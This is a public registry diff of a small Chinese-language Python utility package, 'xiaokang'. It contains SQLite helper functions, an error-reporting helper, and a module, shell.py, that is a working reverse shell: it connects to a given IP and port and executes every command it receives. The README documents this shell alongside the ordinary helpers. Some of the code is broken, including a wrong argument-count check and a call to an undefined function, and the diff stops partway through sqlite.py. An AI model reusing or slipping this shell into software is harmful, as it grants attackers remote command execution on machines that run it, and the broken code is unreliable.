xiaokang 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- xiaokang-0.1.0/LICENSE +45 -0
- xiaokang-0.1.0/PKG-INFO +260 -0
- xiaokang-0.1.0/README.md +203 -0
- xiaokang-0.1.0/pyproject.toml +87 -0
- xiaokang-0.1.0/setup.cfg +4 -0
- xiaokang-0.1.0/tests/test_1.py +15 -0
- xiaokang-0.1.0/xiaokang/ChangYong.py +37 -0
- xiaokang-0.1.0/xiaokang/__init__.py +4 -0
- xiaokang-0.1.0/xiaokang/shell.py +46 -0
- xiaokang-0.1.0/xiaokang/sqlite.py +141 -0
- xiaokang-0.1.0/xiaokang.egg-info/PKG-INFO +260 -0
- xiaokang-0.1.0/xiaokang.egg-info/SOURCES.txt +13 -0
- xiaokang-0.1.0/xiaokang.egg-info/dependency_links.txt +1 -0
- xiaokang-0.1.0/xiaokang.egg-info/not-zip-safe +1 -0
- xiaokang-0.1.0/xiaokang.egg-info/top_level.txt +1 -0
xiaokang-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 [ZhaoYuanKang or XiaoKang]
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
1. The above copyright notice and this permission notice shall be included in
|
|
13
|
+
all copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
2. Any modifications or derivative works of this software must be distributed
|
|
16
|
+
under the same MIT License and must retain the original copyright notice.
|
|
17
|
+
|
|
18
|
+
3. This software is provided "as is", without warranty of any kind, express or
|
|
19
|
+
implied, including but not limited to the warranties of merchantability,
|
|
20
|
+
fitness for a particular purpose, and non-infringement. In no event shall
|
|
21
|
+
the authors or copyright holders be liable for any claim, damages, or other
|
|
22
|
+
liability, whether in an action of contract, tort, or otherwise, arising from,
|
|
23
|
+
out of, or in connection with the software or the use or other dealings in the
|
|
24
|
+
Software.
|
|
25
|
+
|
|
26
|
+
特此许可任何人免费获取副本
|
|
27
|
+
本软件和相关文档文件(“软件”)的交易
|
|
28
|
+
在软件中不受限制,包括但不限于权利
|
|
29
|
+
使用、复制、修改、合并、发布、分发、再许可和/或销售
|
|
30
|
+
软件的副本,并允许软件的使用者
|
|
31
|
+
符合以下条件:
|
|
32
|
+
|
|
33
|
+
1.上述版权声明和本许可声明应包含在
|
|
34
|
+
软件的所有副本或重要部分。
|
|
35
|
+
|
|
36
|
+
2.本软件的任何修改或衍生作品都必须分发
|
|
37
|
+
在相同的MIT许可下,必须保留原始版权声明。
|
|
38
|
+
|
|
39
|
+
3.本软件按“原样”提供,没有任何形式的担保,明示或
|
|
40
|
+
暗示,包括但不限于适销性保证,
|
|
41
|
+
适用于特定目的,且不侵权。在任何情况下都不得
|
|
42
|
+
作者或版权所有者对任何索赔、损害赔偿或其他
|
|
43
|
+
责任,无论是在合同诉讼、侵权诉讼或其他诉讼中,由以下原因引起,
|
|
44
|
+
出于或与本软件或本软件的使用或
|
|
45
|
+
软件。
|
xiaokang-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: xiaokang
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: 一个简单的 Python 库
|
|
5
|
+
Author-email: ZhaoYuanKang <1756972525@qq.com>
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2025 [ZhaoYuanKang or XiaoKang]
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
1. The above copyright notice and this permission notice shall be included in
|
|
18
|
+
all copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
2. Any modifications or derivative works of this software must be distributed
|
|
21
|
+
under the same MIT License and must retain the original copyright notice.
|
|
22
|
+
|
|
23
|
+
3. This software is provided "as is", without warranty of any kind, express or
|
|
24
|
+
implied, including but not limited to the warranties of merchantability,
|
|
25
|
+
fitness for a particular purpose, and non-infringement. In no event shall
|
|
26
|
+
the authors or copyright holders be liable for any claim, damages, or other
|
|
27
|
+
liability, whether in an action of contract, tort, or otherwise, arising from,
|
|
28
|
+
out of, or in connection with the software or the use or other dealings in the
|
|
29
|
+
Software.
|
|
30
|
+
|
|
31
|
+
特此许可任何人免费获取副本
|
|
32
|
+
本软件和相关文档文件(“软件”)的交易
|
|
33
|
+
在软件中不受限制,包括但不限于权利
|
|
34
|
+
使用、复制、修改、合并、发布、分发、再许可和/或销售
|
|
35
|
+
软件的副本,并允许软件的使用者
|
|
36
|
+
符合以下条件:
|
|
37
|
+
|
|
38
|
+
1.上述版权声明和本许可声明应包含在
|
|
39
|
+
软件的所有副本或重要部分。
|
|
40
|
+
|
|
41
|
+
2.本软件的任何修改或衍生作品都必须分发
|
|
42
|
+
在相同的MIT许可下,必须保留原始版权声明。
|
|
43
|
+
|
|
44
|
+
3.本软件按“原样”提供,没有任何形式的担保,明示或
|
|
45
|
+
暗示,包括但不限于适销性保证,
|
|
46
|
+
适用于特定目的,且不侵权。在任何情况下都不得
|
|
47
|
+
作者或版权所有者对任何索赔、损害赔偿或其他
|
|
48
|
+
责任,无论是在合同诉讼、侵权诉讼或其他诉讼中,由以下原因引起,
|
|
49
|
+
出于或与本软件或本软件的使用或
|
|
50
|
+
软件。
|
|
51
|
+
|
|
52
|
+
Project-URL: Personal website, http://121.37.247.246:200/
|
|
53
|
+
Requires-Python: >=3.7
|
|
54
|
+
Description-Content-Type: text/markdown
|
|
55
|
+
License-File: LICENSE
|
|
56
|
+
Dynamic: license-file
|
|
57
|
+
|
|
58
|
+
# 项目简介
|
|
59
|
+
|
|
60
|
+
把一些常用的功能写成函数
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
# 函数大全
|
|
67
|
+
|
|
68
|
+
```
|
|
69
|
+
XiaoKang/
|
|
70
|
+
├── ChangYong # 常用的功能
|
|
71
|
+
│ └── BaoCuoXingxi # 报错的时候执行会显示报错信息
|
|
72
|
+
├── sqlite #sqlite数据库的操作
|
|
73
|
+
│ ├── db_sql #提供sql语句,执行sql语句
|
|
74
|
+
│ ├── db_cj #提供字段和类型,创建数据表
|
|
75
|
+
│ ├── db_dq #提供sql语句和查找的值,进行查找数据
|
|
76
|
+
│ ├── db_xr #提供表、字段、值,进行写入数据
|
|
77
|
+
│ ├── db_xg #提供表、查找字段、查找值,写入字段、写入值,进行写入数据
|
|
78
|
+
├── shell #shell反弹
|
|
79
|
+
│ └── shell_1 #反弹shell到nc -lvnp 端口
|
|
80
|
+
└── 结束
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
# 函数讲解
|
|
86
|
+
|
|
87
|
+
所有的函数讲解怎么使用,和什么功能,你地,明白!?
|
|
88
|
+
|
|
89
|
+
## 1.ChangYong(常用)
|
|
90
|
+
|
|
91
|
+
### 1.1 BaoCuoXingxi(报错信息)
|
|
92
|
+
|
|
93
|
+
讲解功能:在代码执行的时候,如果报错可以执行这个,查看详细的报错信息
|
|
94
|
+
|
|
95
|
+
示例代码:
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
try:
|
|
99
|
+
print('1'+1)
|
|
100
|
+
except:
|
|
101
|
+
print(BaoCuoXingxi('json'))
|
|
102
|
+
|
|
103
|
+
输出:
|
|
104
|
+
|
|
105
|
+
{
|
|
106
|
+
"报错类型":"<class 'TypeError'>",
|
|
107
|
+
"报错信息":"can only concatenate str (not \"int\") to str",
|
|
108
|
+
"报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
|
|
109
|
+
"报错行数":6
|
|
110
|
+
}
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
## 2.sqlite(sqlite数据库)
|
|
116
|
+
|
|
117
|
+
### 2.1 db_sql(执行sql语句)
|
|
118
|
+
|
|
119
|
+
```
|
|
120
|
+
db_sql(sql, 数据库='主记录表')
|
|
121
|
+
sql:sql的执行语句
|
|
122
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
返回:
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
### 2.2 db_cj(创建数据表)
|
|
136
|
+
|
|
137
|
+
```
|
|
138
|
+
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
|
|
139
|
+
表名:创建的表名
|
|
140
|
+
字段[]:创建表中的字段
|
|
141
|
+
字段类型{}:指定创建字段的类型
|
|
142
|
+
默认值:在没有指定的情况下创建字段的默认值='TEXT'
|
|
143
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
返回:
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
返回创建情况[真/假]
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
|
|
156
|
+
### 2.3 db_dq(读取数据)
|
|
157
|
+
|
|
158
|
+
```
|
|
159
|
+
db_dq(sql, value: tuple = '', 数据库='主记录表')
|
|
160
|
+
sql:查询数据的sql语句
|
|
161
|
+
value():sql语句中的'?'值,防止被注入
|
|
162
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
返回:
|
|
166
|
+
|
|
167
|
+
```
|
|
168
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
### 2.4 db_xr(新增写入数据)
|
|
176
|
+
|
|
177
|
+
```
|
|
178
|
+
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
|
|
179
|
+
表: 写入数据的表名
|
|
180
|
+
段: 写入的字段名
|
|
181
|
+
值: 写入的字段值
|
|
182
|
+
数据库: 写入的数据库名默认数据库='主记录表'
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
返回:
|
|
186
|
+
|
|
187
|
+
```
|
|
188
|
+
(返回执行情况[真/假],返回自增值序号)
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
### 2.5 db_xg(修改已有数据)
|
|
196
|
+
|
|
197
|
+
```
|
|
198
|
+
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
|
|
199
|
+
表: 修改数据的表名
|
|
200
|
+
查段: 判断修改数据的字段名
|
|
201
|
+
查值: 字段名对应的值确保数据修改
|
|
202
|
+
写段: 需要修改的字段名
|
|
203
|
+
写值: 修改字段的值
|
|
204
|
+
数据库: 需要修改的数据名:默认值='主记录表'
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
返回:
|
|
208
|
+
|
|
209
|
+
```
|
|
210
|
+
(返回修改情况[真/假])
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
## 3.shell(shell反弹)
|
|
218
|
+
|
|
219
|
+
### 3.1 shell_1
|
|
220
|
+
|
|
221
|
+
```
|
|
222
|
+
用法: python shell.py <IP> <端口>
|
|
223
|
+
|
|
224
|
+
shell_1(<IP>, <端口>)
|
|
225
|
+
|
|
226
|
+
服务器开启监听
|
|
227
|
+
nc -lvnp 端口
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
|
|
231
|
+
|
|
232
|
+
# 安装方法
|
|
233
|
+
|
|
234
|
+
pip 安装大法
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
|
|
239
|
+
|
|
240
|
+
# 使用示例
|
|
241
|
+
|
|
242
|
+
导入函数会吧,不会自己学
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
|
|
247
|
+
|
|
248
|
+
# 依赖说明
|
|
249
|
+
|
|
250
|
+
目前没用使用其他依赖,都是用本地库
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
|
|
256
|
+
# 作者信息
|
|
257
|
+
|
|
258
|
+
作者:小康、米汤、鲁班
|
|
259
|
+
|
|
260
|
+
---
|
xiaokang-0.1.0/README.md
ADDED
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
# 项目简介
|
|
2
|
+
|
|
3
|
+
把一些常用的功能写成函数
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
# 函数大全
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
XiaoKang/
|
|
13
|
+
├── ChangYong # 常用的功能
|
|
14
|
+
│ └── BaoCuoXingxi # 报错的时候执行会显示报错信息
|
|
15
|
+
├── sqlite #sqlite数据库的操作
|
|
16
|
+
│ ├── db_sql #提供sql语句,执行sql语句
|
|
17
|
+
│ ├── db_cj #提供字段和类型,创建数据表
|
|
18
|
+
│ ├── db_dq #提供sql语句和查找的值,进行查找数据
|
|
19
|
+
│ ├── db_xr #提供表、字段、值,进行写入数据
|
|
20
|
+
│ ├── db_xg #提供表、查找字段、查找值,写入字段、写入值,进行写入数据
|
|
21
|
+
├── shell #shell反弹
|
|
22
|
+
│ └── shell_1 #反弹shell到nc -lvnp 端口
|
|
23
|
+
└── 结束
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
# 函数讲解
|
|
29
|
+
|
|
30
|
+
所有的函数讲解怎么使用,和什么功能,你地,明白!?
|
|
31
|
+
|
|
32
|
+
## 1.ChangYong(常用)
|
|
33
|
+
|
|
34
|
+
### 1.1 BaoCuoXingxi(报错信息)
|
|
35
|
+
|
|
36
|
+
讲解功能:在代码执行的时候,如果报错可以执行这个,查看详细的报错信息
|
|
37
|
+
|
|
38
|
+
示例代码:
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
try:
|
|
42
|
+
print('1'+1)
|
|
43
|
+
except:
|
|
44
|
+
print(BaoCuoXingxi('json'))
|
|
45
|
+
|
|
46
|
+
输出:
|
|
47
|
+
|
|
48
|
+
{
|
|
49
|
+
"报错类型":"<class 'TypeError'>",
|
|
50
|
+
"报错信息":"can only concatenate str (not \"int\") to str",
|
|
51
|
+
"报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
|
|
52
|
+
"报错行数":6
|
|
53
|
+
}
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
## 2.sqlite(sqlite数据库)
|
|
59
|
+
|
|
60
|
+
### 2.1 db_sql(执行sql语句)
|
|
61
|
+
|
|
62
|
+
```
|
|
63
|
+
db_sql(sql, 数据库='主记录表')
|
|
64
|
+
sql:sql的执行语句
|
|
65
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
返回:
|
|
69
|
+
|
|
70
|
+
```
|
|
71
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
### 2.2 db_cj(创建数据表)
|
|
79
|
+
|
|
80
|
+
```
|
|
81
|
+
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
|
|
82
|
+
表名:创建的表名
|
|
83
|
+
字段[]:创建表中的字段
|
|
84
|
+
字段类型{}:指定创建字段的类型
|
|
85
|
+
默认值:在没有指定的情况下创建字段的默认值='TEXT'
|
|
86
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
返回:
|
|
90
|
+
|
|
91
|
+
```
|
|
92
|
+
返回创建情况[真/假]
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
### 2.3 db_dq(读取数据)
|
|
100
|
+
|
|
101
|
+
```
|
|
102
|
+
db_dq(sql, value: tuple = '', 数据库='主记录表')
|
|
103
|
+
sql:查询数据的sql语句
|
|
104
|
+
value():sql语句中的'?'值,防止被注入
|
|
105
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
返回:
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
### 2.4 db_xr(新增写入数据)
|
|
119
|
+
|
|
120
|
+
```
|
|
121
|
+
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
|
|
122
|
+
表: 写入数据的表名
|
|
123
|
+
段: 写入的字段名
|
|
124
|
+
值: 写入的字段值
|
|
125
|
+
数据库: 写入的数据库名默认数据库='主记录表'
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
返回:
|
|
129
|
+
|
|
130
|
+
```
|
|
131
|
+
(返回执行情况[真/假],返回自增值序号)
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
|
|
138
|
+
### 2.5 db_xg(修改已有数据)
|
|
139
|
+
|
|
140
|
+
```
|
|
141
|
+
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
|
|
142
|
+
表: 修改数据的表名
|
|
143
|
+
查段: 判断修改数据的字段名
|
|
144
|
+
查值: 字段名对应的值确保数据修改
|
|
145
|
+
写段: 需要修改的字段名
|
|
146
|
+
写值: 修改字段的值
|
|
147
|
+
数据库: 需要修改的数据名:默认值='主记录表'
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
返回:
|
|
151
|
+
|
|
152
|
+
```
|
|
153
|
+
(返回修改情况[真/假])
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
## 3.shell(shell反弹)
|
|
161
|
+
|
|
162
|
+
### 3.1 shell_1
|
|
163
|
+
|
|
164
|
+
```
|
|
165
|
+
用法: python shell.py <IP> <端口>
|
|
166
|
+
|
|
167
|
+
shell_1(<IP>, <端口>)
|
|
168
|
+
|
|
169
|
+
服务器开启监听
|
|
170
|
+
nc -lvnp 端口
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
# 安装方法
|
|
176
|
+
|
|
177
|
+
pip 安装大法
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
|
|
183
|
+
# 使用示例
|
|
184
|
+
|
|
185
|
+
导入函数会吧,不会自己学
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
|
|
190
|
+
|
|
191
|
+
# 依赖说明
|
|
192
|
+
|
|
193
|
+
目前没用使用其他依赖,都是用本地库
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
|
|
199
|
+
# 作者信息
|
|
200
|
+
|
|
201
|
+
作者:小康、米汤、鲁班
|
|
202
|
+
|
|
203
|
+
---
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
# ===============================
|
|
2
|
+
# 📦 构建系统配置 (PEP 517/518)
|
|
3
|
+
# ===============================
|
|
4
|
+
[build-system]
|
|
5
|
+
# 构建项目所需的依赖工具列表
|
|
6
|
+
requires = ["setuptools>=61.0", "wheel"]
|
|
7
|
+
# 指定构建后端,推荐使用 setuptools 官方提供的构建后端
|
|
8
|
+
build-backend = "setuptools.build_meta"
|
|
9
|
+
|
|
10
|
+
# ===============================
|
|
11
|
+
# 📋 项目信息配置 (PEP 621)
|
|
12
|
+
# ===============================
|
|
13
|
+
[project]
|
|
14
|
+
# 项目名称,发布到 PyPI 时必须唯一
|
|
15
|
+
name = "xiaokang"
|
|
16
|
+
|
|
17
|
+
# 项目版本号,建议遵循语义化版本(semver)
|
|
18
|
+
# 格式:MAJOR.MINOR.PATCH,例如 1.0.0
|
|
19
|
+
# MAJOR(主版本号) 当你做了不兼容的 API 修改时递增
|
|
20
|
+
# MINOR(次版本号) 当你添加了功能,但保持向后兼容时递增
|
|
21
|
+
# PATCH(补丁号) 当你做了向后兼容的问题修复时递增
|
|
22
|
+
version = "0.1.0"
|
|
23
|
+
|
|
24
|
+
# 项目的简要说明
|
|
25
|
+
description = "一个简单的 Python 库"
|
|
26
|
+
|
|
27
|
+
# 项目的详细描述文档路径,通常为 README.md
|
|
28
|
+
readme = "README.md"
|
|
29
|
+
|
|
30
|
+
# 指定开源许可证文件路径
|
|
31
|
+
license = { file = "LICENSE" }
|
|
32
|
+
|
|
33
|
+
# 作者列表,可以包含多个对象,每个对象包含 name 和 email 字段
|
|
34
|
+
authors = [
|
|
35
|
+
{ name = "ZhaoYuanKang", email = "1756972525@qq.com" }
|
|
36
|
+
]
|
|
37
|
+
|
|
38
|
+
# 要求的 Python 最低版本
|
|
39
|
+
requires-python = ">=3.7"
|
|
40
|
+
|
|
41
|
+
# 项目依赖列表,空数组表示无依赖,也可以填写需要的第三方库,例如:
|
|
42
|
+
# dependencies = ["requests>=2.28", "numpy>=1.22"]
|
|
43
|
+
dependencies = []
|
|
44
|
+
|
|
45
|
+
# 项目的外部链接,可选,通常用于主页、文档、源码仓库等
|
|
46
|
+
[project.urls]
|
|
47
|
+
"Personal website" = "http://121.37.247.246:200/"
|
|
48
|
+
|
|
49
|
+
# =====================================
|
|
50
|
+
# 📦 setuptools 设置:包的查找配置
|
|
51
|
+
# =====================================
|
|
52
|
+
[tool.setuptools.packages.find]
|
|
53
|
+
# 从哪个目录开始查找包(通常是当前目录)
|
|
54
|
+
where = ["."]
|
|
55
|
+
# 包含的包名或匹配规则,"xiaokang*" 表示包含所有以 xiaokang 开头的包
|
|
56
|
+
include = ["xiaokang*"]
|
|
57
|
+
|
|
58
|
+
# =====================================
|
|
59
|
+
# 📦 setuptools 其他通用配置
|
|
60
|
+
# =====================================
|
|
61
|
+
[tool.setuptools]
|
|
62
|
+
# 指定是否可以被压缩为 zip 安装,False 更安全、方便调试
|
|
63
|
+
zip-safe = false
|
|
64
|
+
|
|
65
|
+
# =====================================
|
|
66
|
+
# 📦 包数据配置(非 .py 文件,例如静态文件、模板)
|
|
67
|
+
# 注意:这里的 "my_library" 应为实际存在的包名,例如 "xiaokang"
|
|
68
|
+
# 如果没有额外数据文件,可以为空
|
|
69
|
+
[tool.setuptools.package-data]
|
|
70
|
+
"xiaokang" = []
|
|
71
|
+
|
|
72
|
+
# =====================================
|
|
73
|
+
# ✅ pytest 测试工具的配置
|
|
74
|
+
# =====================================
|
|
75
|
+
[tool.pytest.ini_options]
|
|
76
|
+
# 要求的 pytest 最小版本
|
|
77
|
+
minversion = "7.0"
|
|
78
|
+
|
|
79
|
+
# 默认的运行选项:
|
|
80
|
+
# -r 显示测试摘要(a: 所有测试)
|
|
81
|
+
# -q 安静模式,简化输出
|
|
82
|
+
addopts = "-ra -q"
|
|
83
|
+
|
|
84
|
+
# 指定测试文件所在目录
|
|
85
|
+
testpaths = [
|
|
86
|
+
"tests"
|
|
87
|
+
]
|
xiaokang-0.1.0/setup.cfg
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
|
|
2
|
+
import json
|
|
3
|
+
import sys
|
|
4
|
+
import time
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
def BaoCuoXingxi(返回类型: str = 'str', 保存到文件: str = ''):
|
|
8
|
+
"""
|
|
9
|
+
捕获异常并返回报错信息
|
|
10
|
+
---
|
|
11
|
+
返回类型: 输入返回结果的数据类型
|
|
12
|
+
保存到文件: 输入报错信息保存的文件名,若为空则不保存
|
|
13
|
+
"""
|
|
14
|
+
except_type, except_value, except_traceback = sys.exc_info()
|
|
15
|
+
exc_dict = {
|
|
16
|
+
"报错类型": str(except_type),
|
|
17
|
+
"报错信息": str(except_value),
|
|
18
|
+
"报错文件": except_traceback.tb_frame.f_code.co_filename,
|
|
19
|
+
"报错行数": except_traceback.tb_lineno,
|
|
20
|
+
}
|
|
21
|
+
if 保存到文件:
|
|
22
|
+
with open(保存到文件, 'a', encoding='utf-8') as f:
|
|
23
|
+
f.write('\n'*2+time.strftime("%Y-%m-%d %H:%M:%S\n")+str(exc_dict)+'\n'*2)
|
|
24
|
+
if 返回类型 == 'str':
|
|
25
|
+
return str(exc_dict)
|
|
26
|
+
elif 返回类型 == 'dict':
|
|
27
|
+
return exc_dict
|
|
28
|
+
elif 返回类型 == "json":
|
|
29
|
+
return json.dumps(exc_dict, ensure_ascii=False,indent=4, separators=(',', ':'))
|
|
30
|
+
else:
|
|
31
|
+
return str(exc_dict)
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def xk():
|
|
35
|
+
"""
|
|
36
|
+
打印 xk,测试导入是否正常"""
|
|
37
|
+
print("xk")
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import subprocess
|
|
3
|
+
import os
|
|
4
|
+
import sys
|
|
5
|
+
|
|
6
|
+
# ---------------- shell 1 ----------------
|
|
7
|
+
def shell_1(ip, port):
|
|
8
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
9
|
+
try:
|
|
10
|
+
s.connect((ip, port))
|
|
11
|
+
s.send(f"[+] Shell 1 连接成功!\n\n{os.getcwd()}>".encode('utf-8'))
|
|
12
|
+
while True:
|
|
13
|
+
data = s.recv(1024)
|
|
14
|
+
if not data:
|
|
15
|
+
break
|
|
16
|
+
cmd = data.decode('utf-8', errors='ignore').strip()
|
|
17
|
+
if cmd.lower() == 'exit':
|
|
18
|
+
break
|
|
19
|
+
if cmd.startswith('cd '):
|
|
20
|
+
try:
|
|
21
|
+
os.chdir(cmd[3:].strip())
|
|
22
|
+
output = ""
|
|
23
|
+
except Exception as e:
|
|
24
|
+
output = f"切换目录失败: {e}"
|
|
25
|
+
else:
|
|
26
|
+
output = subprocess.getoutput(cmd)
|
|
27
|
+
s.send((output + f"\n\n{os.getcwd()}>").encode('utf-8'))
|
|
28
|
+
except Exception as e:
|
|
29
|
+
try:
|
|
30
|
+
s.send(f"[!] Shell 1 error: {e}\n".encode())
|
|
31
|
+
except:
|
|
32
|
+
pass
|
|
33
|
+
finally:
|
|
34
|
+
s.close()
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
# -------------- 主入口 --------------
|
|
38
|
+
if __name__ == '__main__':
|
|
39
|
+
if len(sys.argv) != 4:
|
|
40
|
+
print("用法: python 1.py <IP> <端口>")
|
|
41
|
+
sys.exit(1)
|
|
42
|
+
|
|
43
|
+
ip = sys.argv[1]
|
|
44
|
+
port = int(sys.argv[2])
|
|
45
|
+
|
|
46
|
+
shell_1(ip, port)
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
|
|
2
|
+
import sqlite3
|
|
3
|
+
import time
|
|
4
|
+
import xiaokang.ChangYong as ChangYong
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
def db_sql(sql, 数据库='主记录表'):
|
|
8
|
+
'''db_sql(sql, 数据库='主记录表')\n
|
|
9
|
+
sql:数据语句\n
|
|
10
|
+
数据库:默认链接='主记录表'\n
|
|
11
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
12
|
+
'''
|
|
13
|
+
try:
|
|
14
|
+
conn = sqlite3.connect(f'数据存放/{数据库}.db')
|
|
15
|
+
cursor = conn.cursor()
|
|
16
|
+
a = time.strftime("%Y-%m-%d %H:%M:%S\n")+f'sql:{sql}{'\n'*2}'
|
|
17
|
+
open('日志/数据库操作.txt', 'a', encoding='utf-8').write(a)
|
|
18
|
+
open('日志/执行库数据.txt', 'a', encoding='utf-8').write(a)
|
|
19
|
+
cursor.execute(sql)
|
|
20
|
+
a = cursor.fetchall()
|
|
21
|
+
conn.commit()
|
|
22
|
+
conn.close()
|
|
23
|
+
except:
|
|
24
|
+
ChangYong.报错信息()
|
|
25
|
+
return False, ''
|
|
26
|
+
return True, a
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def db_cj(表名, 字段: list, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表'):
|
|
30
|
+
'''
|
|
31
|
+
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')\n
|
|
32
|
+
表名:创建的表名\n
|
|
33
|
+
字段[]:创建表中的字段\n
|
|
34
|
+
